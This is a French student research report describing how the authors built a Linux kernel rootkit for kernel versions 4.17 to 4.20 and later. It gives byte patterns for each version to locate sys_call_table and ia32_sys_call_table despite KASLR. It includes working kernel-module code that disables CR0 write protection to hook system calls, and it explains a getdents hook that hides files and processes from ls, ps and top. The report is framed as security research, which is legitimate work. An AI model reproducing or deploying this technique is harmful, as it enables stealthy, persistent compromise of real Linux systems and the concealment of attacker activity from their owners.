Linux Kernel Rootkit

Castets Nathan & Huge Olivier

***Abstract*—A partir de la version 4.17 du noyau Linux la solution la plus courament utilisée pour trouver la table des appels systèmes, basée sur l'export de *sys_close*, n'est plus utilisable. Nous avons donc trouvé une solution alternative pour récupérer la table des appels systèmes et ainsi pouvoir continuer à développer des rootkits. Elle consiste à retracer le code exécuté en préambule d'un appel système pour retrouver un offset vers la table des appels systèmes codé dans la mémoire noyau.**

I. Introduction

Les rootkits représentent une catégorie des malwares largement répandue et qui peuvent causer des dommages importants aux machines qu'ils visent. Dans ce rapport nous nous intéresserons à leur fonctionnement et comment ils s'installent dans le système pour altérer le comportement de la machine.

Jusqu'à la version 4.16 du noyau Linux la grande majorité des rootkits utilisait la même technique pour s'implanter dans le système depuis plus d'une décennie. Le correctif 4.17 a été publié, a corrigé la faille et a laissé la communauté sans solution immédiate. Jusqu'ici nous n'avons pas trouvé de traces de solutions fonctionnelles disponibles publiquement. Dans la suite de ce rapport nous exposons nos recherches permettants de faire tourner un rootkit sur les versions récentes du noyau avec toutes les sécurités de base. Nos travaux ne concernent que les systèmes basés sur un noyau Linux de versions 4.17 ou supérieures.

Dans un premier temps nous ferons un rapide tour des notions principales et de l'état de l'art des rootkits. Nous verrons en détails les changements opérés dans la version 4.17 du noyau. Dans un second temps nous exposerons une technique qui permet d'installer un rootkit sur les versions récentes du noyau avec quelques précisions sur l'implémentation. Pour finir nous verrons comment utiliser notre rootkit pour le rendre plus discret aux yeux des utilisateurs d'une machine infectée.

Tous les dumps mémoires ainsi que le code du rootkit sont disponibles sur le Github en référence.

II. Notions et état de l'art

Un rootkit est un utilitaire qui permet d'effectuer différentes actions sur une machine. Le but principal est d'installer un accès privilégié à cette machine pour un pirate de façon persistante dans le temps. A la différence d'autres programmes malveillants, un rootkit se veut discret et dissimule au maximum ses actions à l'utilisateur et aux programmes de surveillance.

Il y a deux types de rootkit. Les rootkits qui opèrent dans l'espace utilisateur et ceux qui opèrent dans l'espace noyau. Dans la suite de ce rapport nous nous concentrerons sur le deuxième groupe de rootkits. La majorité des rootkits qui opèrent dans l'espace noyau utilisent la table des appels systèmes (sys_call_table) afin d'altérer le comportement de la machine.

La table des appels systèmes est un tableau qui contient toutes les adresses mémoires des fonctions associées appels systèmes. Ces appels systèmes permettent aux programmes de l'espace utilisateur de communiquer avec le noyau. Ils sont indispensables pour les programmes de l'espace utilisateur pour utiliser des fonctions que seul le noyau peut exécuter. Un rootkit a la possibilité de retrouver cette table pour modifier certaines adresses et remplacer les appels systèmes par ses propres fonctions. Avec ce procédé, le rootkit peut choisir quelles informations retourner aux programmes de l'espace utilisateur et altérer le fonctionnement de la machine.

Pour éviter ce type d'attaque une sécurité existe, la KASLR (Kernel Address Space Layout Randomization). C'est à dire que les différentes parties du code du noyau sont réparties aléatoirement dans la mémoire. Ceci à chaque démarrage du système. Elle existe depuis la version 3.14 du noyau Linux mais nécessitait d'être activée et de recompiler le noyau. Récemment, depuis la version 4.12, elle est activée par défaut. Il est donc non trivial de retrouver l'adresse mémoire de la table des appels système.

Jusqu'à la version 4.17 du noyau Linux, la majorité des rootkits utilisaient une seule et même tehnique pour passer outre la KASLR et accéder à la table des appels système. Le noyau Linux exportait l'adresse de l'appel système *sys_close()*. C'est à dire que l'adresse de cet appel système était accessible directement par n'importe quel module du noyau Linux. Un module est un programme qui opère dans l'espace noyau. Il est possible d'en déployer en tant que *root* du système. Avec ceci et quelques indications sur la zone mémoire du noyau où se trouver la table des appels système, il suffisait par brute-force de trouver les occurences de l'adresse de *sys_close()*. Ainsi on retrouvait assez facilement la table des appels systèmes.

III. Linux kernel 4.17

Parmi les nombreuses modifications apportées par la version 4.17 du noyau Linux, un correctif a été apporté à la faille. Comme vu précédemment, les rootkits utilisaient l'export de l'appel système *sys_close()* pour retrouver la table des appels système. Cet export était nécessaire car le module *mount*, qui permet de gérer le système de fichier, avait besoin de cet appel système.

Tout d'abord l'export de l'appel système a été supprimé. On a donc perdu le point d'accroche. Pour que le module *mount* puisse continuer à fonctionner normalement il a été prévu une fonction pour remplacer l'appel système. Cette fonction remplace l'appel système *sys_close()* pour les programmes de l'espace noyau. Elle ne nous est d'aucune utilité car son adresse n'est pas présente dans la table des appels systèmes.

Plus généralement dans le noyau, plusieurs modules utilisaient les appels systèmes avant la 4.17. Les développeurs noyaux veulent éviter au maximum cela car ces appels systèmes sont avant tout destinés à l'espace utilisateur. Si jamais il était absolument nécessaire d'utiliser un appel système dans l'espace noyau, une fonction de remplacement de la forme *ksys_xyzxyz()* a été mise en place. Elle fonctionne de façon similaire à l'appel système qu'elle remplace. Ce changement implique 2 conséquences. La première est que les adresses des appels système ne sont plus présents dans le noyau. La deuxième c'est qu'il n'est plus possible de "hook" les appels systèmes venants du noyau. C'est à dire qu'il n'est plus possible d'altérer le comportement des programmes présents dans l'espace noyau de la même manière qu'avant.

Il est donc maintenant nécessaire de trouver une autre façon de faire pour retrouver l'adresse de la table des appels système que d'utiliser l'adresse d'un appel système exportée.

IV. Déterminer l'adresse de la sys_call_table

L'idée pour atteindre la sys_call_table tout en ayant la KASLR activée, est de trouver du code qui la manipule. On peut ensuite récupérer son adresse présente dans le code assembleur en mémoire. Le premier endroit où regarder est du côté des routines qui initialisent la sys_call_table ou qui gèrent les appels systèmes. On va remonter le chemin parcouru par la machine quand un appel système est envoyé au noyau depuis l'espace utilisateur.

Pour commencer quand un programme envoie un appel système, le processeur va exécuter une routine en préambule de la fonction associée à l'appel système. L'adresse de cette routine se trouve dans le registre *MSR_LSTAR*. Au démarrage du système, ce registre est initialisé dans la fonction *syscall_init()*. Les lignes qui nous intéressent sont les suivantes :

/arch/x86/kernel/cpu/common.c (4.17 - 4.19) :

```
if (static_cpu_has(X86_FEATURE_PTI))
  wrmsrl(MSR_LSTAR, SYSCALL64_entry_trampoline);
else
  wrmsrl(MSR_LSTAR, (unsigned long)entry_SYSCALL_64)
    ;
```

/arch/x86/kernel/cpu/common.c (4.20) :

```
wrmsrl(MSR_LSTAR, (unsigned long)entry_SYSCALL_64);
```

Dans les version 4.17 à 4.19 la routine commence à *SYSCALL64_entry_trampoline* (*X86_FEATURE_PTI* est une sécurité contre la faille Meltdown, Page Table Isolation). Il n'est pas possible de tomber directement dans *entry_SYSCALL_64* avec un *jmp*. Un *jmp* utilise une adresse relative limitée à 32 bits, insufisante pour atteindre la fonction désirée. On a donc une fonction qui sert de "trampoline" pour finalement retomber dans *entry_SYSCALL_64*. En 4.20 il n'y a plus ce problème et l'on tombe directement dans *entry_SYSCALL_64*. On continue de suivre la routine :

/arch/x86/entry/entry_64.S (4.17 - 4.20) :

```
ENTRY(entry_SYSCALL_64)
  /* *** */
  pushq %rax

  PUSH_AND_CLEAR_REGS rax=$-ENOSYS

  TRACE_IRQS_OFF

  movq  %rax, %rdi
  movq  %rsp, %rsi
  call  do_syscall_64

  TRACE_IRQS_IRETQ

  movq  RCX(%rsp), %rcx
  movq  RIP(%rsp), %r11

  cmpq  %rcx, %r11
  jne swapgs_restore_regs_and_return_to_usermode

  /* *** */
```

Une bonne partie de cette fonction est là pour gérer le passage de l'espace utilisateur à l'espace noyau et préparer la fonction associée à l'appel système. Un peu plus loin, on remarque un appel à la fonction *do_syscall_64*. Elle va nous être utile car elle contient un appel intéressant :

/arch/x86/entry/common.c (4.17 - 4.20) :

```
__visible void do_syscall_64(unsigned long nr,
    struct pt_regs *regs)
{
  struct thread_info *ti;
    enter_from_user_mode();
    local_irq_enable();
    ti = current_thread_info();
    if (READ_ONCE(ti->flags) &
    _TIF_WORK_SYSCALL_ENTRY)
      nr = syscall_trace_enter(regs);

    nr &= __SYSCALL_MASK;
    if (likely(nr < NR_syscalls)) {
      nr = array_index_nospec(nr, NR_syscalls);
      regs->ax = sys_call_table[nr](regs);
    }

    syscall_return_slowpath(regs);
}
```

On a trouvé notre appel à la *sys_call_table* !

Ces différentes fonctions sont présentes sous forme de bytecode dans la mémoire. Notre objectif est de partir de *MSR_LSTAR* et de suivre les *call* jusqu'à arriver à l'appel de la *sys_call_table*. Pour automatiser la détection des *call*, nous utiliserons des patterns de suite de bytes prédéfinis en fonction de la version du noyau.

Pour les version 4.17 à 4.19, *MSR_LSTAR* ne pointant pas directement vers *entry_SYSCALL_64*, Il serait long et fastidieux de suivre tous les *call* pour arriver à *entry_SYSCALL_64*. Plus il y a de *call* à repérer, plus il y aura de patterns à définir et de probabilité d'échec. Nous utiliserons donc un autre procédé. En analysant plus généralement le fichier /arch/x86/entry/entry_64.S, on remarque qu'une des fonctions est exportée :

/arch/x86/entry/entry_64.S (4.17 - 4.19) :

```
EXPORT_SYMBOL(native_load_gs_index)
```

On calcule l'offset entre la fonction *native_load_gs_index* et *entry_SYSCALL_64*. Elle est identique pour les versions 4.17

à 4.19, 3392 octets. Cette offset sera le même avec ou sans la KASLR car les fonctions du fichier sont chargées d'un seul bloc. On a donc comme point de départ *entry_SYSCALL_64* qui vaut *native_load_gs_index* - 3392 pour les version 4.17 à 4.19, et *MSR_LSTAR* pour la version 4.20.

On accède au bytecode de la fonction *entry_SYSCALL_64* et on cherche un *call* à la fonction *do_syscall_64*. On aura préalablement désactivé la KASLR pour avoir l'adresse fixe des différentes fonctions et structures. Cela nous permet de plus facilement repérer les appels qui nous intéressent dans le bytecode. On cherche une suite de bytes de la forme :

```
e8 ?? ?? ?? ??        callq [offset]
```

On obtient ainsi un offset par rapport au registre EIP qui correspond à la fonction que l'on cherche. Après une analyse des suites de bytes selon les versions du noyau, les patterns qui précèdent le *call* que l'on cherche :

```
4.17
41 57                 push %r15
45 31 ff              xor %r15d, %r15d
48 89 c7              mov %rax, %rdi
48 89 e6              mov %rsp, %rsi

4.18
41 57                 push %r15
45 31 ff              xor %r15d, %r15d
48 89 c7              mov %rax, %rdi
48 89 e6              mov %rsp, %rsi

4.19
41 57                 push %r15
45 31 ff              xor %r15d, %r15d
48 89 c7              mov %rax, %rdi
48 89 e6              mov %rsp, %rsi

4.20
41 57                 push %r15
45 31 ff              xor %r15d, %r15d
48 89 c7              mov %rax, %rdi
48 89 e6              mov %rsp, %rsi
```

On ré-itère le procédé en analysant la suite de bytes de la fonction *do_syscall_64*. On cherche un appel à la *sys_call_table*. Dans notre cas se sera un *mov* de l'adresse dans un registre :

```
48 8b 04 fd ?? ?? ?? ?? mov [offset](, %rdi, 8), %
    rax
```

Cela nous donne une adresse relative. Après une analyse des suites de bytes selon les versions du noyau, les patterns qui précèdent le *mov* sont les suivants :

```
4.17
48 81 ff 4d 01 00 00  cmp $0x14d, %rdi
48 19 c0              sbb %rax, %rax
48 21 c7              and %rax, %rdi

4.18
48 81 ff 4f 01 00 00  cmp $0x14f, %rdi
48 19 c0              sbb %rax, %rax
48 21 c7              and %rax, %rdi

4.19
48 81 ff 4f 01 00 00  cmp $0x14f, %rdi
48 19 c0              sbb %rax, %rax
48 21 c7              and %rax, %rdi

4.20
48 81 ff 4f 01 00 00  cmp $0x14f, %rdi
48 19 c0              sbb %rax, %rax
48 21 c7              and %rax, %rdi
```

On a trouvé l'adresse de la *sys_call_table*.

Il est possible d'avoir en plus de l'adresse de la *sys_call_table*, l'adresse de la table des appels système 32 bits. Elle est là pour permettre la rétro-compatibilité des binaires 32 bits. En continuant de regarder le fichier /arch/x86/entry/common.c on dans la fonction *do_syscall_32_irqs_on* on observe le code suivant :

```
static __always_inline void do_syscall_32_irqs_on(
    struct pt_regs *regs)
{
  struct thread_info *ti = current_thread_info();
    unsigned int nr = (unsigned int)regs->orig_ax;

#ifdef CONFIG_IA32_EMULATION
    ti->status |= TS_COMPAT;
#endif
    if (READ_ONCE(ti->flags) &
    _TIF_WORK_SYSCALL_ENTRY) {
      nr = syscall_trace_enter(regs);
    }

    if (likely(nr < IA32_NR_syscalls)) {
      nr = array_index_nospec(nr, IA32_NR_syscalls);
#ifdef CONFIG_IA32_EMULATION
    regs->ax = ia32_sys_call_table[nr](regs);
#else
    regs->ax = ia32_sys_call_table[nr](
      (unsigned int)regs->bx,
      (unsigned int)regs->cx,
      (unsigned int)regs->dx,
      (unsigned int)regs->si,
      (unsigned int)regs->di,
      (unsigned int)regs->bp);
#endif
    }

  syscall_return_slowpath(regs);
}
```

On a un appel à la table que l'on cherche (*ia32_sys_call_table*). Cette fonction étant à la suite de *do_syscall_64*, il suffit de continuer à regarder les bytes qui succèdent la fonction. On cherche un *mov* de la forme :

```
48 8b 04 c5 ?? ?? ?? ?? move [offset](, %rax, 8), %
    rax
```

Les patterns qui précèdent ce *mov* sont les suivants :

```
4.17
48 81 fa 81 01 00 00  cmp $0x181, %rdx
48 19 d2              sbb %rdx, %rdx
21 d0                 and %edx, %eax

4.18
48 81 fa 83 01 00 00  cmp $0x183, %rdx
48 19 d2              sbb %rdx, %rdx
21 d0                 and %edx, %eax
48 89 ef              mov %rbp, %rdi

4.19
48 81 fa 83 01 00 00  cmp $0x183, %rdx
48 19 d2              sbb %rdx, %rdx
21 d0                 and %edx, %eax
48 89 ef              mov %rbp, %rdi

4.20
48 81 fa 83 01 00 00  cmp $0x182, %eax
48 19 d2              sbb %rdx, %rdx
21 d0                 and %edx, %eax
48 89 ef              mov %rbp, %rdi
```

On a donc une attaque qui permet de retrouver l'adresse de la *sys_call_table* et de *ia32_sys_call_table* avec la KASLR activée. Elle a été testée avec succès sur les versions 4.17 à 4.20 ainsi que 5.0-rc3. Rien n'indique qu'elle ne pourrait pas fonctionner sur d'autres versions. Les seuls étapes susceptibles de changer sont le point d'accroche à la fonction *entry_SYSCALL_64* et les patterns pour retrouver les *call* et *mov*.

V. Ecraser la sys_call_table

Nous utiliserons un LKM (Linux Kernel Module) pour faire notre rootkit. Ceci implique qu'un attaquant devra nécessairement avoir un accès *root* à la machine pour y installer le rootkit. Nous ne verrons pas en détails la fonction qui retrouve l'adresse de la *sys_call_table* car la section précédente est assez claire à ce sujet. Néanmoins nous allons apporter quelques précisions sur comment "hook" les appels systèmes.

La première difficulté est que la page mémoire contenant la *sys_call_table* est en *READ-ONLY*. Il est donc nécessaire de modifier temporairement le registre *CR0*. C'est un registre de contrôle sur 32 bits qui régit le comportement du processeur. La partie qui nous intéresse est la protection d'écriture codée sur le 16 ème bits. Elle permet ou non au processeur d'écrire sur une page mémoire en *READ-ONLY* :

```
static void hook_syscall(void) {
  if (!sys_call_table) {
    printk(KERN_INFO "failed to hook syscall64,
    sys_call_table address is missing");
    return;
  }

  write_cr0(read_cr0() & ~0x10000);
  real_close = sys_call_table[__NR_close];
  sys_call_table[__NR_close] = fake_close;
  write_cr0(read_cr0() | 0x10000);
}

static void unhook_syscall(void) {
  if (!sys_call_table) {
    printk(KERN_INFO "failed to reset syscall,
    sys_call_table address is missing");
    return;
  }

  write_cr0(read_cr0() & ~0x10000);
  sys_call_table[__NR_close] = real_close;
  write_cr0(read_cr0() | 0x10000);
}
```

Le deuxième obstacle est au niveau de la déclaration des appels système. D'après le header (linux/syscalls.h) du noyau, la fonction qui représente l'appel système *sys_close()* est de la forme :

```
asmlinkage long sys_close(unsigned int fd);
```

On pourrait croire qu'il suffit de reprendre la même syntaxe pour notre pointeur de fonction. Le problème est que cela amène à un "kernel panic". Pour comprendre il faut regarder l'appel à la *sys_call_table* dans la fonction *do_syscall_64* :

```
/* Avant le correctif */
regs->ax = sys_call_table[nr](
      regs->di, regs->si, regs->dx,
      regs->r10, regs->r8, regs->r9);

/* Apres le correctif */
regs->ax = sys_call_table[nr](regs);
```

Avant le correctif, la fonction *do_syscall_64* préparait elle-même les arguments de l'appel système à partir des registres. Après le correctif ceci est fait plus tard. Il est juste nécessaire de donner la structure *pt_regs* qui est un pointeur vers les registres :

```
asmlinkage long (*real_close)(struct pt_regs *);

asmlinkage long fake_close(struct pt_regs *regs) {
  printk(KERN_INFO "sys_close hooked");
  return (*real_close)(regs);
}
```

VI. Cacher un fichier

En utilisant les sections précédentes, nous allons voir comment cacher un fichier à l'utilisateur. Ici, notre objectif sera de dissimuler un fichier à un utilisateur qui appellera l'utilitaire *ls*. Tout d'abord, on analyse *ls* avec l'utilitaire *strace*. Cela permet de lister tous les appels systèmes effectués par le programme. On finit par remarquer que l'appel système *getdents* (get directory entries) permet de récupérer la liste des fichiers et des dossiers du répertoire.

La finalité de l'appel système *getdents* est de remplir une structure *linux_dirent*. Cette structure représente les différentes entrées et se présente sous la forme suivante :

```
struct linux_dirent {
  unsigned long  d_ino;
  unsigned long  d_off;
  unsigned short d_reclen;
  char d_name[1];
}
```

Les attributs qui nous intéressent sont *d_reclen* qui représente la taille de la structure et *d_name* qui représente le nom de l'entrée. L'attribut *d_name* est un peu particulier car il ne fera jamais 1 de longueur comme indiqué dans la définition de la définition de la structure. Cela permet juste d'éviter de déclarer un tableau de taille indéterminé. En réalité la chaîne de caractère sera terminé par un caractère *null*. Une structure représente une entrée et les différentes structures sont les unes à la suite des autres. On utilise *d_reclen* pour connaître la taille de la structure actuelle et donc le début de la suivante.

L'idée va être de récupérer l'adresse de ces structures et de modifier *d_reclen* pour en cacher certaines. Comme indiqué précédemment, pour parcourir les différentes structures on utilise l'attribut *d_reclen* pour passer à la structure suivante. Si l'on souhaite cacher la structure à l'indice *i*, alors on ajoute l'atribut *d_reclen* de la structure à l'indice *i* à l'attribut *d_reclen* de la structure à l'indice *i - 1*. Le cas particulier à l'indice *0* peut être résolu en échangeant la structure à l'indice *0* avec la structure à l'indice *1*. Voyons comment implémenter cela.

La signature de la fonction associée à l'appel système *getdents* est de la forme suivante :

```
asmlinkage long sys_getdents64(unsigned int fd,
        struct linux_dirent64 __user *dirent,
        unsigned int count);
```

Le préfixe *__user* est juste là pour mettre en garde le programmeur qui voudrait utiliser le pointeur *dirent*. Celui-ci se trouve dans l'espace utilisateur et on ne peut pas lui accorder notre confiance.La structure qui nous intéresse est *dirent*. Nous avons vu précédemment que l'appel à la *sys_call_table* avait changé et que maintenant on utilisait un pointeur vers les différents registres. Si l'on veut accéder au pointeur **dirent*, il faut récupérer sa valeur dans le registre *%rsi*.

Pour créer notre fonction qui va remplacer celle de base associée à l'appel système *getdents*, on commence par appeler la fonction originale qui va se charger de remplir la structure avec les entrées et nous retourner le nombre de total de bytes. On recopie la suite de structure *linux_dirent* dans un buffer en espace noyau à l'aide de la fonction *copy_from_user*. En parcourant les structures, on regarde si un *MAGIC_PREFIX* est présent dans l'attribut *d_name*. Si c'est le cas on cache la structure correspondante. On finit par recopier notre buffer en espace noyau à l'adresse de base en espace utilisateur avec la fonction *copy_to_user*. On finit par renvoyer le nombre de bytes total comme la fonction d'origine.

Cette technique peut aussi être utilisée pour cacher un processus à un utilisateur utiliant les utilitaires *ps* ou *top*. Ceci vient du fait que ces utilitaires vont lire les entrées du dossier */proc*. Chaque processus correspond à une entrée dans ce dossier. Si l'on dissimule une entrée, le processus correspondant ne sera pas affiché par ces utilitaires.

VII. Conclusion

A partir d'un noyau Linux de version 4.17 ou supérieure, nous avons développé une solution permettant de retrouver la table des appels systèmes. Plus précisément nous avons retracé le code exécuté en préambule d'un appel système afin de retrouver un offset vers la table des appels systèmes codé dans la mémoire noyau. A l'aide de ceci nous avons développé un "hook" de l'appel système *getdents* permettant de cacher des fichiers aux utilisateurs.

Nous avons décrit cette solution pour des version 4.17 à 4.20 du noyau Linux. Il n'en reste pas moins possible d'appliquer le même raisonnement à n'importe quelle autre version du noyau. Quelques ajustements seront peut être nécessaires au niveau des patterns.

References

[1] Sources du projet
github.com/naka53/prime

[2] System calls in the Linux kernel
0xax.gitbooks.io/linux-insides/content/SysCall

[3] Linux Kernel Sources
github.com/torvalds/linux